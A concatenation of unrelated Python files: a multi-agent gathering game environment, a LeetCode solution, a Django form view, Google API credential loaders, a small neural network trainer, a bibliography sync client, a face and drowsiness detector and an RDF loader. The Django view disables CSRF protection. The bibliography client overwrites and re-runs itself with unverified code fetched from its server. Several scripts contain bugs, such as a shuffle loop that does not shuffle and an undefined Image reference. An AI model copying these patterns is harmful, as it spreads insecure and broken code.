        for i, ((dx, dy), (x, y)) in enumerate(zip(movement_n, self.agents)):
            if self.tagged[i]:
                continue
            next_ = ((x + dx), (y + dy))
            if self.walls[next_]:
                next_ = (x, y)
            next_locations[i] = next_
            next_locations_map[next_].append(i)
        for overlappers in next_locations_map.values():
            if len(overlappers) > 1:
                for i in overlappers:
                    next_locations[i] = self.agents[i]
        self.agents = next_locations

        for i, act in enumerate(action_n):
            if act == ROTATE_RIGHT:
                self.orientations[i] = (self.orientations[i] + 1) % 4
            elif act == ROTATE_LEFT:
                self.orientations[i] = (self.orientations[i] - 1) % 4
            elif act == LASER:
                self.beams[self._viewbox_slice(i, 5, 20, offset=1)] = 1

        obs_n = self.state_n
        reward_n = [0 for _ in range(self.n_agents)]
        done_n = [self.done] * self.n_agents
        info_n = [{}] * self.n_agents

        self.food = (self.food + self.initial_food).clip(max=1)

        for i, a in enumerate(self.agents):
            if self.tagged[i]:
                continue
            if self.food[a] == 1:
                self.food[a] = -15
                reward_n[i] = 1
            if self.beams[a]:
                self.tagged[i] = 25

        for i, tag in enumerate(self.tagged):
            if tag == 1:
                # Relocate to a respawn point.
                for spawn_point in self.spawn_points:
                    if spawn_point not in self.agents:
                        self.agents[i] = spawn_point
                        break

        self.tagged = [max(i - 1, 0) for i in self.tagged]

        return obs_n, reward_n, done_n, info_n

    def _viewbox_slice(self, agent_index, width, depth, offset=0):
        left = width // 2
        right = left if width % 2 == 0 else left + 1
        x, y = self.agents[agent_index]
        return tuple(itertools.starmap(slice, (
            ((x - left, x + right), (y - offset, y - offset - depth, -1)),      # up
            ((x + offset, x + offset + depth), (y - left, y + right)),          # right
            ((x + left, x - right, -1), (y + offset, y + offset + depth)),      # down
            ((x - offset, x - offset - depth, -1), (y + left, y - right, -1)),  # left
        )[self.orientations[agent_index]]))

    @property
    def state_n(self):
        agents = np.zeros_like(self.food)
        for i, a in enumerate(self.agents):
            if not self.tagged[i]:
                agents[a] = 1

        food = self.food.clip(min=0)
        s = np.zeros((self.n_agents, self.viewbox_width, self.viewbox_depth, 4))
        for i, (orientation, (x, y)) in enumerate(zip(self.orientations, self.agents)):
            if self.tagged[i]:
                continue
            full_state = np.stack([food, np.zeros_like(food), agents, self.walls], axis=-1)
            full_state[x, y, 2] = 0

            xs, ys = self._viewbox_slice(i, self.viewbox_width, self.viewbox_depth)
            observation = full_state[xs, ys, :]

            s[i] = observation if orientation in [UP, DOWN] else observation.transpose(1, 0, 2)

        return s.reshape((self.n_agents, self.state_size))

    def _reset(self):
        self.food = self.initial_food.copy()

        p = self.padding
        self.walls[p:-p, p] = 1
        self.walls[p:-p, -p - 1] = 1
        self.walls[p, p:-p] = 1
        self.walls[-p - 1, p:-p] = 1

        self.beams = np.zeros_like(self.food)

        self.agents = [(i + self.padding + 1, self.padding + 1) for i in range(self.n_agents)]
        self.spawn_points = list(self.agents)
        self.orientations = [UP for _ in self.agents]
        self.tagged = [0 for _ in self.agents]

        return self.state_n

    def _close_view(self):
        if self.root:
            self.root.destroy()
            self.root = None
            self.canvas = None
        self.done = True

    def _render(self, mode='human', close=False):
        if close:
            self._close_view()
            return

        canvas_width = self.width * self.scale
        canvas_height = self.height * self.scale

        if self.root is None:
            self.root = tk.Tk()
            self.root.title('Gathering')
            self.root.protocol('WM_DELETE_WINDOW', self._close_view)
            self.canvas = tk.Canvas(self.root, width=canvas_width, height=canvas_height)
            self.canvas.pack()

        self.canvas.delete(tk.ALL)
        self.canvas.create_rectangle(0, 0, canvas_width, canvas_height, fill='black')

        def fill_cell(x, y, color):
            self.canvas.create_rectangle(
                x * self.scale,
                y * self.scale,
                (x + 1) * self.scale,
                (y + 1) * self.scale,
                fill=color,
            )

        for x in range(self.width):
            for y in range(self.height):
                if self.beams[x, y] == 1:
                    fill_cell(x, y, 'yellow')
                if self.food[x, y] == 1:
                    fill_cell(x, y, 'green')
                if self.walls[x, y] == 1:
                    fill_cell(x, y, 'grey')

        for i, (x, y) in enumerate(self.agents):
            if not self.tagged[i]:
                fill_cell(x, y, self.agent_colors[i])

        if False:
            # Debug view: see the first player's viewbox perspective.
            p1_state = self.state_n[0].reshape(self.viewbox_width, self.viewbox_depth, 4)
            for x in range(self.viewbox_width):
                for y in range(self.viewbox_depth):
                    food, me, other, wall = p1_state[x, y]
                    assert sum((food, me, other, wall)) <= 1
                    y_ = self.viewbox_depth - y - 1
                    if food:
                        fill_cell(x, y_, 'green')
                    elif me:
                        fill_cell(x, y_, 'cyan')
                    elif other:
                        fill_cell(x, y_, 'red')
                    elif wall:
                        fill_cell(x, y_, 'gray')
            self.canvas.create_rectangle(
                0,
                0,
                self.viewbox_width * self.scale,
                self.viewbox_depth * self.scale,
                outline='blue',
            )

        self.root.update()

    def _close(self):
        self._close_view()

    def __del__(self):
        self.close()

_spec = {
    'id': 'Gathering-v0',
    'entry_point': GatheringEnv,
    'reward_threshold': 100,
}

gym.envs.registration.register(**_spec)


# https://leetcode.cn/problems/sum-of-root-to-leaf-binary-numbers/
# Definition for a binary tree node.
class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right
from typing import Optional

class Solution:
    def sumRootToLeaf(self, root: Optional[TreeNode]) -> int:
        self.res = 0

        def process(root: Optional[TreeNode], res_tmp: int):
            # if root is None:
            #     return
            if root.left is None and root.right is None:
                print(res_tmp)
                self.res += (res_tmp << 1) + root.val
                return
            # elif root.left is None:
            #     process(root.right,(res_tmp<<1)+root.val)
            # elif root.right is None:
            #     process(root.left,(res_tmp<<1)+root.val)
            # else:
            #     process(root.left,(res_tmp<<1)+root.val)
            #     process(root.right,(res_tmp<<1)+root.val)
            if root.left is not None:
                process(root.left, (res_tmp << 1) + root.val)
            if root.right is not None:
                process(root.right, (res_tmp << 1) + root.val)

        process(root, 0)
        return self.res

1022. 从根到叶的二进制数之和.py


from django.shortcuts import render
from .forms import  DeveloperForm
from django.shortcuts import render, redirect
from .models import  Developer
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt
def developer_form(request):
    if request.method=="POST":
        form = DeveloperForm(request.POST,request.FILES)
        if form.is_valid():
            form.save()
            return redirect('developer_form')
        else:
            print(form.errors)
    else:
        form= DeveloperForm()
    return render(request,"developer_form.html",{"form":form})

def edit_developer(request, id):
    developer= Developer.objects.get(id=id)
    if request.method == "POST":
        form=DeveloperForm(request.POST, instance=developer)
        if form.is_valid():
            form.save()
        return redirect("edit_developer", id=developer.id)
    else:
        form= DeveloperForm(instance=developer)
        return render(request,"edit_developer.html", {"form":form})

def developer(request):
    developers=Developer.objects.all()
    return render(request, "developer.html", {"developers": developers})

def develoxplan(request):
    develoxplan=Developer.objects.all()
    return render(request,"develoxplan.html", {"develoxplan": develoxplan})


"""
The module credentials:
Contains credentials to authenticate/authorize access to the Google API.

Requires an OAuth2 token for your Google service account in the form of a JSON key file.
This file must be named `service_account.json` and locate in the current package.
"""

import json
from pathlib import Path

from aiogoogle.auth.creds import ServiceAccountCreds

BASE_DIR = Path(__file__).resolve().parent

SERVICE_ACCOUNT_KEY = json.load(open(f'{BASE_DIR}/service_account.json'))

CREDS = ServiceAccountCreds(
    scopes=[
        "https://www.googleapis.com/auth/drive",
        "https://www.googleapis.com/auth/drive.file",
    ],
    **SERVICE_ACCOUNT_KEY
)


import os
from pathlib import Path

from ansi2html import Ansi2HTMLConverter

ansi_convert = Ansi2HTMLConverter(inline=True)

current_dir = os.path.dirname(os.path.abspath(__file__))
content = Path(os.path.join(current_dir, 'debugger.html')).read_text()
css = Path(os.path.join(current_dir, 'debugger.css')).read_text()

class BigpipeDebugger(object):

    @staticmethod
    def get_exception_content(error_target, stacktrace: str, traceback: str):
        html = content.format(title=error_target, stacktrace=ansi_convert.convert(stacktrace.strip(), full=False), stacktrace_be=traceback)
        js = ''
        return html, js, css


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu April 16 11:19:43 2021

@author: amir
"""
from numba import jit
from numba import cuda, float32
import numpy as np
import pandas as pd
from sklearn.preprocessing import MinMaxScaler
from sklearn.metrics import mean_squared_error as mes
from sklearn.metrics import accuracy_score as acc
import time
import matplotlib.pyplot as plt

column_names = ['user-id', 'activity', 'timestamp', 'x-axis', 'y-axis', 'z-axis']
file = pd.read_csv('WISDM_at_v2.0_raw.txt', header=None, names=column_names, comment=';')
file = file.dropna(axis=0, how='any')
file = file[1:(1 * file.shape[0]) // 100]

file = file.drop(axis=1,columns=['user-id','timestamp'])

# اماده سازی دیتا

for x in range(1,(len(file)+1)):
    if(file.loc[x]['activity'] == 'Walking') :
        file.at[x,'activity'] = 1
    elif (file.loc[x]['activity'] == 'Jogging') :
        file.at[x,'activity'] = 2
    elif (file.loc[x]['activity'] == 'LyingDown') :
        file.at[x,'activity'] = 3
    elif (file.loc[x]['activity'] == 'Standing') :
        file.at[x,'activity'] = 4
    elif (file.loc[x]['activity'] == 'Sitting') :
        file.at[x,'activity'] = 5

data = file.to_numpy()

inputs = data[:,1:] # ورودی ها

outputs = data[:,0] # خروجی

epochs = 500 #  تعداد ایپک
learningrate = 0.1 # نرخ اموزش

#### شافل کردن
per_list =  np.random.permutation(len(data))

inputs_sh = []
outputs_sh = []

for i in range (len(data)):
    indexi = per_list[i]
    temp_input = inputs[i]
    temp_output = outputs[i]
    inputs_sh.append(temp_input)
    outputs_sh.append(temp_output)

inputs_sh = np.array(inputs_sh)
outputs_sh = np.array(outputs_sh)

#minvec = inputs_sh.min(axis=0)
#maxvec = inputs_sh.max(axis=0)
#inputs_sh2 = (inputs_sh - minvec ) / ( maxvec - minvec)

## Scaling the features
scaler = MinMaxScaler(feature_range=(0,1))
## Transform the data into
inputs_sh = scaler.fit_transform(inputs_sh)

trn_test_split = int (0.75 * len(inputs_sh))

X_train = inputs_sh[0:trn_test_split, :]
Y_train = outputs_sh[0 :trn_test_split]

X_val = inputs_sh[trn_test_split : , :]
Y_val = outputs_sh[trn_test_split :, ]

n0 = 3 # تعداد نرورن در لایه ورودی

n1 = 3 #تعداد نرود در لایه دوم

n2 = 3 # تعداد نرون در لایه سوم

n3 = 1 # تعداد نرون در لایه آخر

w1 = np.random.uniform(low=-10,high=+10,size=(n1,n0)) # وزن های تصادفی در لایه ورودی
w2 = np.random.uniform(low=-10,high=+10,size=(n2,n1)) # وزن های تصادفی در لایه دوم
w3 = np.random.uniform(low=-10,high=+10,size=(n3,n2)) # وزن های تصادفی در لایه سوم

@jit(nopython=True, fastmath=True)
# تابع سیکموید
def activation(x):
    y = 1/(1 + np.exp(-1*x))
    return y

@jit(nopython=True, fastmath=True)
# الگوریتم پیشرو
def feedforwardOneLayer(input_x , w):
    x = np.dot(input_x , w.T)
    y = activation(x)
    return y

@jit(nopython=True, fastmath=True)
# مشتق تابع سیکموید
def d_activation(y):
    d_y = y * ( 1 - y )
    return d_y

#@jit(nopython=True)
def diagnal(y):
    d = d_activation(y)
    return np.diagflat(d)

list_accTrain = []
list_mesTrain = []
list_accValid = []
list_mesValid = []

start = time.time()
for i in range(epochs):
    for j in range(len(X_train)):
        inputNet = X_train[j]
        inputNet = np.reshape(inputNet,newshape=(1,n0))
        targetNet = Y_train[j]
        y1 = feedforwardOneLayer(inputNet , w1)
        y2 = feedforwardOneLayer(y1 , w2)
        y3 = feedforwardOneLayer(y2 , w3)

        error = targetNet - y3

        diagf1 = diagnal(y1)
        diagf2 = diagnal(y2)
        diagf3 = d_activation(y3)

        # w1 = w1 - lr * (-2/N)*(error) * d_f3 * w3 * d_f2 * w2 * d_f1 * ...
        # ... * input

        temp2 = -2 * error * diagf3
        temp1 = temp2 * w3
        temp1 = np.dot( temp1 , diagf2 )
        temp = np.dot( temp1 , w2 )
        temp = np.dot( temp , diagf1)
        temp = temp.T
        temp = np.dot( temp , inputNet)

        w1 = w1 - learningrate * temp

        w2 = w2 - learningrate * np.dot( temp1.T , y1 )

        w3 = w3 - learningrate * np.dot( temp2.T , y2)

    NetOut_train =[]
    Target_train = []
    Rnd_Netoutput_Train = []
    for x in range(len(X_train)):
        inputNet = X_train[x]
        target = Y_train[x]

        Target_train.append(target)
        y1 = feedforwardOneLayer(inputNet , w1)
        y2 = feedforwardOneLayer(y1 , w2)
        y3 = feedforwardOneLayer(y2 , w3)

        NetOut_train.append(y3)
        Rnd_Netoutput_Train.append(np.round(y3))

    mes_train = mes(Target_train , NetOut_train)
    list_mesTrain.append(mes_train)
    acc_train = acc(Target_train ,  Rnd_Netoutput_Train)
    list_accTrain.append(acc_train)

    print('epoch' , i , ' MSE_Train = ' , mes_train , '\tAcc_train = ', acc_train)

end = time.time()

print("Elapsed (after compilation) = %s" % (end - start))

plt.figure(figsize=(20,10))
plt.plot(list_accTrain, color = 'green', label = 'accuracy Train')
plt.plot(list_mesTrain, color = 'red', label = '')
plt.title('Prediction')
plt.xlabel('Epoch')
#plt.ylabel(' ')
plt.legend()
plt.show()


from google_auth_oauthlib.flow import InstalledAppFlow
from googleapiclient.discovery import build
from google.auth.transport.requests import Request

def get_services():
    # Load or authorize Gmail credentials
    gmail_creds = None
    gmail_scopes = ['https://www.googleapis.com/auth/gmail.modify']

    if gmail_creds and not gmail_creds.valid:
        if gmail_creds.expired and gmail_creds.refresh_token:
            gmail_creds.refresh(Request())
    else:
        flow = InstalledAppFlow.from_client_secrets_file('credentials.json', gmail_scopes)
        gmail_creds = flow.run_local_server(port=0)
        with open('gmail_token.json', 'w') as token:
            token.write(gmail_creds.to_json())

    # Load or authorize Calendar credentials
    calendar_creds = None
    calendar_scopes = ['https://www.googleapis.com/auth/calendar']

    if calendar_creds and not calendar_creds.valid:
        if calendar_creds.expired and calendar_creds.refresh_token:
            calendar_creds.refresh(Request())
    else:
        flow = InstalledAppFlow.from_client_secrets_file('credentials.json', calendar_scopes)
        calendar_creds = flow.run_local_server(port=0)
        with open('calendar_token.json', 'w') as token:
            token.write(calendar_creds.to_json())

    # Build the services
    gmail_service = build('gmail', 'v1', credentials=gmail_creds)
    calendar_service = build('calendar', 'v3', credentials=calendar_creds)

    return gmail_service, calendar_service


import re
import sys
import requests
import json
import hashlib
import bibtexparser
from bibtexparser.bparser import BibTexParser
import difflib
import os
import argparse

version = 15

limit_traffic = True

parser = argparse.ArgumentParser(description='BibTool')
parser.add_argument("--token", dest="token", action="store", default="", help="Provide access token via command line")
parser.add_argument("--tokenfile", dest="token_file", action="store", default="token", help="File containing the access token")
parser.add_argument("--server", dest="server", action="store", default="", required=True, help="BibTool server")
parser.add_argument("--tex", dest="tex", action="store", default="main.tex", help="LaTeX file")
parser.add_argument("--query", dest="query", action="store", default="", help="Query to search for (if action is search)")
parser.add_argument("action")

args = parser.parse_args(sys.argv[1:])

if args.token != "":
    token = args.token
else:
    token = None
    try:
        token = open(args.token_file).read().strip()
    except:
        pass

fname = args.tex
server = args.server
if server[-1] != '/': server += "/"
if not server.endswith("/v1/"): server += "v1/"

def get_keys(filename, import_base=None):
    try:
        if not os.path.isfile(filename):
            filename += ".tex"
        content = open(filename).read()
    except:
        return []

    # extract cites
    keys = set()
    cites = re.findall("\\\\(no)?citeA?\\{([^\\}]+)\\}", content)
    for key in cites:
        keys |= set(key[1].split(","))
    # find inputs/include and recursively parse them
    inputs = re.findall("\\\\(?:input|include)\\{([^\\}]+)\\}", content)
    for f in inputs:
        if import_base is not None:
            f = os.path.join(import_base, f)
        keys |= set(get_keys(f))

    # find subimports and recursively parse them
    subimports = re.findall("\\\\subimport\*?\\{(.*)\\}\\{(.*)\\}", content)
    for f in subimports:
        filepath = os.path.join(f[0], f[1])
        keys |= set(get_keys(filepath, import_base=f[0]))

    keys = sorted(list([k.strip() for k in keys]))
    keys = [k for k in keys if len(k) != 0]
    return keys

def keys_have_changed(keys):
    new_keys = hashlib.sha256("\n".join(keys).encode("utf-8")).hexdigest()
    old_keys = ""
    try:
        old_keys = open("main.bib.keys.sha").read().strip()
    except:
        pass
    try:
        open("main.bib.keys.sha", "w").write(new_keys)
    except:
        pass
    return (new_keys != old_keys)

def bib_has_changed(bib):
    new_bib = hashlib.sha256(bib.strip().encode("utf-8")).hexdigest()
    old_bib = ""
    try:
        old_bib = open("main.bib.sha").read().strip()
    except:
        pass
    save_bib_hash()
    return (new_bib != old_bib)

def entry_by_key(key):
    for entry in bib_database.entries:
        if entry["ID"] == key:
            return entry
    return None

def entry_to_bibtex(entry):
    newdb = bibtexparser.bibdatabase.BibDatabase()
    newdb.entries = [ entry ]
    return bibtexparser.dumps(newdb)

def inline_diff(a, b):
    matcher = difflib.SequenceMatcher(None, a, b)
    def process_tag(tag, i1, i2, j1, j2):
        if tag == 'replace':
            return '\u001b[34m[' + matcher.a[i1:i2] + ' -> ' + matcher.b[j1:j2] + ']\u001b[0m'
        if tag == 'delete':
            return '\u001b[31m[- ' + matcher.a[i1:i2] + ']\u001b[0m'
        if tag == 'equal':
            return matcher.a[i1:i2]
        if tag == 'insert':
            return '\u001b[32m[+ ' + matcher.b[j1:j2] + ']\u001b[0m'
    return ''.join(process_tag(*t) for t in matcher.get_opcodes())

def resolve_changes():
    print("Your options are")
    print("  update server version with local changes (L)")
    print("  replace local version with server version (S)")
    print("  ignore, do not apply any changes (I)")
    print("  abort without changes (A)")
    while True:
        action = input("Your choice [l/s/I/a]: ").lower()
        if action == "l" or action == "s" or action == "a" or action == "i":
            return action
        if not action or action == "":
            return "i"
    return None

def resolve_duplicate():
    print("Your options are")
    print("  commit local changes to server (M)")
    print("  delete server entry (D)")
    print("  remove local entry (R)")
    print("  ignore, do not apply any changes (I)")
    print("  abort without changes (A)")
    while True:
        action = input("Your choice [m/d/r/I/a]: ").lower()
        if action == "m" or action == "a" or action == "i" or action == "d" or action == "r":
            return action
        if not action or action == "":
            return "i"
    return None

def resolve_policy_reject():
    print("Your options are")
    print("  force entry write to the server (F)")
    print("  ignore, do not apply any changes (I)")
    print("  abort without changes (A)")
    while True:
        action = input("Your choice [f/I/a]: ").lower()
        if action == "f" or action == "i" or action == "a":
            return action
        if not action or action == "":
            return "i"
    return None

def update_local_bib(key, new_entry):
    for (idx, entry) in enumerate(bib_database.entries):
        if entry["ID"] == key:
            bib_database.entries[idx] = new_entry
            break

def update_remote_bib(key, new_entry):
    response = requests.put(server + "entry/%s" % key, json = {"entry": new_entry, "token": token})
    if "success" in response.json() and not response.json()["success"]:
        show_error(response.json())

def add_remote_bib(key, entry, force=False):
    if force:
        # do not rely on boolean encoding of `force`
        response = requests.post(server + "entry/%s" % key, json = {"entry": entry, "token": token, "force": "true"})
    else:
        response = requests.post(server + "entry/%s" % key, json = {"entry": entry, "token": token})
    if "success" in response.json() and not response.json()["success"]:
        show_error(response.json())

def remove_remote_bib(key):
    response = requests.delete(server + "entry/%s%s" % (key, "/%s" % token if token else ""))
    if "success" in response.json() and not response.json()["success"]:
        show_error(response.json())

def remove_local_bib(key):
    for (idx, entry) in enumerate(bib_database.entries):
        if entry["ID"] == key:
            del bib_database.entries[idx]
            save_bib()

def save_bib_hash():
    try:
        bib = open("main.bib").read()
        open("main.bib.sha", "w").write(hashlib.sha256(bib.strip().encode("utf-8")).hexdigest())
    except:
        pass

def save_bib():
    with open('main.bib', 'w') as bibtex_file:
        bibtexparser.dump(bib_database, bibtex_file)
    save_bib_hash()

def show_error(obj):
    if "reason" in obj:
        if obj["reason"] == "access_denied":
            print("\u001b[31m[!] Access denied!\u001b[0m Your token is not valid for this operation. Verify whether the file '%s' contains a valid token." % args.token_file)
        elif obj["reason"] == "policy":
            for entry in obj["entries"]:
                print("\u001b[31m[!] Server policy rejected entry %s\u001b[0m. Reason: %s" % (entry["ID"], entry["reason"]))
        else:
            print("\u001b[31m[!] Unhandled error occurred!\u001b[0m Reason (%s) %s" % (obj["reason"], obj["message"] if "message" in obj else ""))
    else:
        print("\u001b[31m[!] Unknown error occurred!\u001b[0m")
    sys.exit(1)

action = args.action

parser = BibTexParser(common_strings=True)
parser.ignore_nonstandard_types = False
parser.homogenize_fields = True

if not os.path.exists("main.bib") or os.stat("main.bib").st_size == 0:
    bib_database = bibtexparser.loads("\n")
else:
    try:
        with open('main.bib') as bibtex_file:
            bib_database = bibtexparser.load(bibtex_file, parser)
            #print(bib_database.entries)
    except Exception as e:
        print("Malformed bibliography file!\n")
        print(e)
        sys.exit(1)

response = requests.get(server + "version")
try:
    version_info = response.json()
except:
    print("\u001b[31m[!] Could not get version info from server.\u001b[0m Is the server URL \"%s\" correct?" % server)
    sys.exit(1)

if version_info["version"] > version:
    print("[!] New version available, updating...")
    script = requests.get(server + version_info["url"])
    with open(sys.argv[0], "w") as sc:
        sc.write(script.text)
    print("Restarting...")
    os.execl(sys.executable, *([sys.executable]+sys.argv))

if action == "search":
    if len(args.query) < 3:
        print("Usage: %s search --query <query>" % sys.argv[0])
        sys.exit(1)
    response = requests.get(server + "search/" + args.query + ("/%s" % token if token else ""))
    print(response.text)

elif action == "sync":
    response = requests.get(server + "sync")
    print(response.text)

elif action == "get":
    keys = get_keys(args.tex)
    fetch = keys_have_changed(keys)
    try:
        current_bib = open("main.bib").read()
        update = bib_has_changed(current_bib)
    except:
        update = False
        fetch = True

    if update:
        fetch = True
    if not limit_traffic:
        update = True
        fetch = True
    #print("fetch %d, update %d\n" % (fetch, update))

    # update
    if update:
        response = requests.post(server + "update", json = {"entries": bib_database.entries, "token": token})
        result = response.json()
        if not result["success"]:
            if result["reason"] == "policy":
                #print(result["entries"])
                for entry in result["entries"]:
                    print("\n[!] Server policy rejected entry %s. Reason: %s" % (entry["ID"], entry["reason"]))
                    action = resolve_policy_reject()
                    if action == "i":
                        pass
                    elif action == "a":
                        sys.exit(1)
                    elif action == "f":
                        add_remote_bib(entry["ID"], entry_by_key(entry["ID"]), force=True)
            elif result["reason"] == "duplicate":
                #print(result["entries"])
                for dup in result["entries"]:
                    print("\n[!] There is already a similar entry for %s on the server (%s) [Levenshtein %d]" % (dup[1], dup[2]["ID"], dup[0]))
                    print("- Local -")
                    local = entry_to_bibtex(entry_by_key(dup[1]))
                    remote = entry_to_bibtex(dup[2])
                    print(local)
                    print("- Server -")
                    print(remote)
                    print("- Diff - ")
                    print(inline_diff(remote, local))

                    if dup[1] != dup[2]["ID"]:
                        # different key, similar entry
                        action = resolve_duplicate()
                        if action == "i":
                            pass
                        elif action == "a":
                            sys.exit(1)
                        elif action == "d":
                            remove_remote_bib(dup[2]["ID"])
                        elif action == "m":
                            add_remote_bib(dup[1], entry_by_key(dup[1]))
                        elif action == "r":
                            remove_local_bib(dup[1])
                    else:
                        # same key
                        action = resolve_changes()
                        if action == "a":
                            sys.exit(1)
                        elif action == "i":
                            pass
                        elif action == "s":
                            update_local_bib(dup[1], dup[2])
                            save_bib()
                        elif action == "l":
                            update_remote_bib(dup[2]["ID"], entry_by_key(dup[1]))
            else:
                show_error(result)

    if fetch:
        response = requests.post(server + "get_json", json = {"entries": keys, "token": token})
        bib = response.json()
        if "success" in bib and not bib["success"]:
            show_error(bib)
        else:
            # merge local and remote database
            for entry in bib:
                if entry and "ID" in entry and not entry_by_key(entry["ID"]):
                    bib_database.entries.append(entry)
            save_bib()

            # suggest keys for unresolved keys
            for key in keys:
                if not entry_by_key(key) and not '#' in key:
                    response = requests.get(server + "suggest/" + key + ("/%s" % (token if token else "")))
                    suggest = response.json()
                    if "success" in suggest and not suggest["success"]:
                        show_error(suggest)
                    else:
                        print("Key '%s' not found%s %s" % (key, ", did you mean any of these?" if len(suggest["entries"]) > 0 else "", ", ".join(["'%s'" % e[1]["ID"] for e in suggest["entries"]])))

else:
    print("Unknown action '%s'" % action)


import face_recognition
import imutils
import pickle
import time
import cv2
from scipy.spatial import distance as dist
import numpy as np

import dlib

detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat")
def eye_aspect_ratio(eye):
    # compute the euclidean distances between the two sets of
    # vertical eye landmarks (x, y)-coordinates
    A = dist.euclidean(eye[1], eye[5])
    B = dist.euclidean(eye[2], eye[4])
    # compute the euclidean distance between the horizontal
    # eye landmark (x, y)-coordinates
    C = dist.euclidean(eye[0], eye[3])
    # compute the eye aspect ratio
    ear = (A + B) / (2.0 * C)
    # return the eye aspect ratio
    return ear

def mouth_aspect_ratio(mouth):
    A=dist.euclidean(mouth[2],mouth[10])
    B=dist.euclidean(mouth[3],mouth[9])
    C=dist.euclidean(mouth[4],mouth[8])
    D=dist.euclidean(mouth[0],mouth[6])
    mar=(A+B+C)/(3*D)
    return mar

def lip_distance(shape):
    top_lip = shape[50:53]
    top_lip = np.concatenate((top_lip, shape[61:64]))

    low_lip = shape[56:59]
    low_lip = np.concatenate((low_lip, shape[65:68]))

    top_mean = np.mean(top_lip, axis=0)
    low_mean = np.mean(low_lip, axis=0)

    distance = abs(top_mean[1] - low_mean[1])
    return distance

def glass_detection(img1,present,absent):

    #ref,img1=imcap.read()
    #clone=img.copy()
    #img1 = imcap.capture() # capture frame from video
    cv2.imwrite('temp.jpeg', img1)
    img = dlib.load_rgb_image('temp.jpeg')
    #plt.imshow(img)
    if len(detector(img))>0:
        rect = detector(img)[0]
        sp = predictor(img, rect)
        landmarks = np.array([[p.x, p.y] for p in sp.parts()])

        nose_bridge_x = []
        nose_bridge_y = []

        for i in [20,28,29,30,31,33,34,35]:
            nose_bridge_x.append(landmarks[i][0])
            nose_bridge_y.append(landmarks[i][1])

        ### x_min and x_max
        x_min = min(nose_bridge_x)
        x_max = max(nose_bridge_x)

        ### ymin (from top eyebrow coordinate),  ymax
        y_min = landmarks[20][1]
        y_max = landmarks[30][1]

        #img2=clone[x_min:x_max, y_min:y_max]
        img2 = Image.open('temp.jpeg')
        img2 = img2.crop((x_min,y_min,x_max,y_max))
        #plt.imshow(img2)

        img_blur = cv2.GaussianBlur(np.array(img2),(3,3), sigmaX=0, sigmaY=0)

        edges = cv2.Canny(image =img_blur, threshold1=100, threshold2=200)
        #plt.imshow(edges, cmap =plt.get_cmap('gray'))

        edges_center = edges.T[(int(len(edges.T)/2))]

        if 255 in edges_center:
            present=present+1
            print("Glasses are present")
        else:
                print("Glasses are absent")
                absent=absent+1
        return present,absent
def recog(img,currentname,encodingsP,data ):
    global EYE_AR_THRESH
    global MOUTH_AR_THRESH
    global LIP_DIST_THRESH
    person=0
    #gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
    boxes = face_recognition.face_locations(img)
    # compute the facial embeddings for each face bounding box
    encodings = face_recognition.face_encodings(img, boxes)
    names = []
    for encoding in encodings:
        # attempt to match each face in the input image to our known
        # encodings
        matches = face_recognition.compare_faces(data["encodings"],
            encoding)
        name = "Unknown" #if face is not recognized, then print Unknown

        # check to see if we have found a match
        if True in matches:
            # find the indexes of all matched faces then initialize a
            # dictionary to count the total number of times each face
            # was matched
            matchedIdxs = [i for (i, b) in enumerate(matches) if b]
            counts = {}

            # loop over the matched indexes and maintain a count for
            # each recognized face face
            for i in matchedIdxs:
                name = data["names"][i]
                counts[name] = counts.get(name, 0) + 1

            # determine the recognized face with the largest number
            # of votes (note: in the event of an unlikely tie Python
            # will select first entry in the dictionary)
            name = max(counts, key=counts.get)

            #If someone in your dataset is identified, print their name on the screen
            if currentname != name:
                currentname = name
                print(currentname)
                if currentname=="pragi":
                    person=1
                    EYE_AR_THRESH=0.2
                    LIP_DIST_THRESH=50
                    MOUTH_AR_THRESH=0.8
            else:
                EYE_AR_THRESH = 0.2
                #EYE_AR_CONSEC_FRAMES = 15
                #MOUTH_AR_CONSEC_FRAMES = 10
                MOUTH_AR_THRESH=0.8
                LIP_DIST_THRESH=25

    return person


from rdflib import Namespace, Graph, URIRef

from expander.shared.vo.Condition import Condition
from expander.shared.vo.Container import Container
from expander.shared.vo.Content import Content
from expander.shared.vo.DataComponent import DataComponent
from expander.shared.vo.DataComponentWrapper import DataComponentWrapper
from expander.shared.vo.Date import Date
from expander.shared.vo.DateTime import DateTime
from expander.shared.vo.Email import Email
from expander.shared.vo.Emphasis import Emphasis
from expander.shared.vo.Heading import Heading
from expander.shared.vo.IterativeContainer import IterativeContainer
from expander.shared.vo.Strong import Strong
from expander.shared.vo.Time import Time
from expander.shared.vo.Url import Url

VO = Namespace('http://purl.org/datenzee/view-ontology#')
RDF = Namespace('http://www.w3.org/1999/02/22-rdf-syntax-ns#')

NODE_TYPES = (
    VO.Condition,
    VO.Container,
    VO.Emphasis,
    VO.Heading,
    VO.IterativeContainer,
    VO.Strong,
)

LEAF_TYPES = (
    VO.DataComponentWrapper,
    VO.Content,
    VO.Date,
    VO.DateTime,
    VO.Email,
    VO.Time,
    VO.URL
)

class Loader:
    def __init__(self, root_component, source=None, data=None):
        self.root_component = URIRef(root_component)
        self.root_component_name = root_component.split('#')[-1]
        self.source = source
        self.data = data
        self.graph = None
        self.data_components = []
        self.components = []

    def load(self):
        g = Graph()
        try:
            g.parse(source=self.source, data=self.data, format='turtle')
            self.graph = g
            self._load()
        except FileNotFoundError:
            pass

    def _load(self):
        self._create_data_component(self.root_component)

    def _create_data_component(self, data_component):
        component_name = data_component.split('#')[-1]
        component_types = list(self.graph.objects(data_component, RDF.type))

        if VO.DataComponent not in component_types:
            raise Exception(f'The root component {component_name} is not a Data Component')

        if self._data_component_exists(component_name):
            return

        data_component_content = next(self.graph.objects(data_component, VO.dataComponentContent))
        content_component = self._create_component(data_component_content)

        self.data_components.append(DataComponent(component_name, content_component))

    def _create_component(self, component):
        component_name = component.split('#')[-1]
        component_types = list(self.graph.objects(component, RDF.type))

        if self._is_node(component_types):
            return self._create_node(component_name, component_types, component)
        elif self._is_leaf(component_types):
            return self._create_leaf(component_name, component_types, component)
        else:
            raise Exception(f'Component {component_name} is neither Node nor Leaf')

    def _is_node(self, component_types):
        return any(type in NODE_TYPES for type in component_types)

    def _is_leaf(self, component_types):
